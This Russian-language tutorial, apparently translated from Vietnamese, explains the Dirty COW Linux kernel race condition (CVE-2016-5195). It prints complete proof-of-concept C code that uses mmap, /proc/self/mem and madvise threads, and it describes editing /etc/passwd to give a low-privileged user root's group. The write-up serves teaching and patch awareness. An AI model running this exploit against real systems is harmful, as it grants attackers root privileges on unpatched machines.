
Детальный технический анализ и proof-of-concept эксплойт для CVE-2016-5195 (Dirty COW) — уязвимости повышения привилегий в ядре Linux, использующей состояние гонки в управлении памятью с механизмом copy-on-write.
Поскольку ядро работает с правами root, его можно использовать как уязвимость повышения привилегий. Это означает, что злоумышленник может воспользоваться Race condition (состоянием гонки), чтобы получить права root, эксплуатируя её от имени непривилегированного пользователя.
Как я недавно узнал из курса теории операционных систем, Race condition возникает, когда два или более процессов одновременно обращаются к одному ресурсу и выполняют над ним операции без правильной синхронизации. В этом случае результаты этих операций могут быть неверными или не такими, как ожидалось.
Чтобы было понятнее, рассмотрим простой пример:
a = "h1n4m"; # ta gán cho a một chuỗi
b = a; # gán tiếp cho b = a
Здесь, хотя у нас есть 2 переменные, обе указывают на один и тот же объект в памяти. Это механизм операционной системы, ведь нет необходимости занимать вдвое больше памяти для одинаковых значений. ОС ждёт, пока копия не будет изменена, и только тогда выделяет отдельную память для другой переменной.
b += "dep trai vcl" # sử đổi giá trị biến b, cụ thể là thêm một chuỗi nối vào sau
В этот момент ОС делает следующее:
Состояние гонки возникает между шагом 2 и шагом 4, обманывая memory mapping, чтобы записать изменённое содержимое в исходную область памяти вместо вновь выделенной. Из-за этого мы изменяем память, принадлежащую a, то есть исходному объекту, а не b, даже если у нас есть только права на чтение a.
Теперь основная часть. Итак, какова идея эксплуатации? Как мы знаем, права пользователя определены в файле /etc/passwd, и только root может изменять этот файл. Можем ли мы воспользоваться Race condition, чтобы изменить содержимое файла /etc/passwd, имея права только на чтение?
Ответ — да, сначала разберём код эксплойта на более простом примере:

Сначала создадим файл dirtycow с правами 644 (только root имеет право на запись). Видно, что при попытке записать «Hello» в файл мы получаем Permission denied.
Итак, объект атаки готов. Теперь код эксплойта:
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;
int f=open("dirtycow", O_RDONLY);
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
char *position = strstr(map,"h1n4m");
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
Этот эксплойт состоит из трёх потоков: главного потока, потока writeThread и потока madvise.
Главный поток отображает наш файл в память:
// Trước tiên chúng ta mở tệp của mình (lưu ý rằng nó đang được mở ở chế độ chỉ đọc)
int f=open("dirtycow", O_RDONLY);
// Sau đó chúng ta map nó vào COW memory bằng MAP PRIVATE
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
Находит позицию шаблона, который нужно заменить:
// Sử dụng hàm strstr để tìm vị trí của "h1n4m" trong bộ nhớ được ánh xạ
char *position = strstr(map,"h1n4m");
Затем мы запускаем два потока: writeThread и madviseThread.
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
writeThread:
void *writeThread(void *arg)
{
char *content= "h4ck3r";
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Đưa con trỏ đến chính xác vị trí cần thay đổi
lseek(f, offset, SEEK_SET);
// Thay đổi trên memory
write(f, content, strlen(content));
}
}
Задача этого потока — заменить строку h1n4m на h4ck3r (или на что угодно :> опасно, правда?), но так как map memory использует copy-on-write, этот поток может изменять только содержимое копии map memory и не вносит никаких изменений в файл??
Так в чём же опасность? Посмотрим на другой поток.
madviseThread
void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}
Этот поток делает только одно: удаляет копию map memory, поэтому указатель может снова указывать на исходную map memory, то есть на первоначально отображённую память.
Если эти два потока выполняются последовательно, то есть без многопоточности, изменения всегда затрагивают только копию map memory и не представляют никакой опасности для защищённого файла. Но что произойдёт, если эти потоки вызываются системой одновременно, то есть в многопоточном режиме? Именно, возникает Race condition. В какой-то момент система ошибается и направляет указатель на исходную map memory, изменяя данные в root-файле, даже без права на запись. Но операционная система ошибается не каждый раз, поэтому потоки запускаются в бесконечном цикле — достаточно одного сбоя системы, и всё произойдёт так, как мы задумали.
Вернёмся к основному вопросу: файл /etc/passwd может изменять только root. Нам нужно применить полученные знания, чтобы изменить группу пользователя lowuser в файле /etc/passwd.

Будучи lower user, мы не имеем права записи в файл dirtycow.

Lowuser переведён в одну группу с root (1001->0000)
В этом разборе я рассказал вам о CVE-2016-5195, известном как «Грязная корова». Помимо изменения группы, мы можем вообще добавить нового пользователя в систему — делается это точно так же. Хотя этому CVE уже много лет, до сих пор многие системы со старыми ядрами остаются уязвимыми. Надеюсь, после этой статьи вы получили общее представление об этом CVE и о том, как защитить свою систему ( обновляйте ядро!!!!! ).
А я — h1n4m. Peaceeeee.